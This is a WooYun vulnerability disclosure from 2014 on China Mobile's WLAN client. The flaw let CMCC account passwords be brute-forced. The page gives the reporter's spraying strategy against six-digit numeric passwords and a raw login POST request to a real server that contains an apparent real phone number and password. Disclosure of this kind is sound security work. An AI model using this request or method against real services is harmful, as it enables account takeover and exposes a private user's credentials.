WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063699

漏洞标题：中国移动随e行WLAN客户端导致CMCC/CMCC-EDU账号可被暴力破解

相关厂商：中国移动

漏洞作者： 路西法

提交时间：2014-06-09 12:01

修复时间：2014-07-24 12:04

公开时间：2014-07-24 12:04

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2014-06-09： 细节已通知厂商并且等待厂商处理中
2014-06-14： 厂商已经确认，细节仅向厂商公开
2014-06-24： 细节向核心白帽子及相关领域专家公开
2014-07-04： 细节向普通白帽子公开
2014-07-14： 细节向实习白帽子公开
2014-07-24： 细节向公众公开

简要描述：

这个分类真难选，感觉出问题还是web端所以选了互联网应用，求乌云出个分类选择的帮助。
------------------------------------------------------------------------------
中国移动随意行客户端导致、CMCC/CMCC-EDU账号可被暴力破解
之前提交不成功这次重新提交一次提供视频
-------------------------------------------------------------------------------
有人说这是随机密码不好破解，那我就解释下：
1.中国移动CMCC用户明显大于100W，至少也得好几千万用户，其中密码不是6位纯数字的是少数。
2.6位纯数字密码最多为100W个，去掉一些不可能的组合（减掉一个就是少好几千万次的事情）
3.我们以密码为账号，账号为密码破解，按照宏观来说每一个密码有几十位位用户，随着破解深入，后期剩下的账号越来越少，这样是比100W*用户数 少很多的。
4.按照上面的方法，几台计算机一起破解估计不到一个星期就能跑出所有CMCC账号密码，这个成本感觉就是电费罢了。

详细说明：

POST /suiexingclient.jsp HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-cn
User-Agent: G3WLAN
Host: 211.138.195.124
Content-Length: 185
Connection: Keep-Alive
Cache-Control: no-cache
USER=15751004773&PWD=265959&pwdtype=1&forceflag=0&clienttype=PC,windows,2.2.0&wlanacname=0007.0511.250.00&wlanuserip=10.61.99.130&actiontype=LOGIN&wlanacssid=&languagetype=&logonsessid=

漏洞证明：

POST /suiexingclient.jsp HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-cn
User-Agent: G3WLAN
Host: 211.138.195.124
Content-Length: 185
Connection: Keep-Alive
Cache-Control: no-cache
USER=15751004773&PWD=265959&pwdtype=1&forceflag=0&clienttype=PC,windows,2.2.0&wlanacname=0007.0511.250.00&wlanuserip=10.61.99.130&actiontype=LOGIN&wlanacssid=&languagetype=&logonsessid=

修复方案：

版权声明：转载请注明来源 路西法@乌云

漏洞回应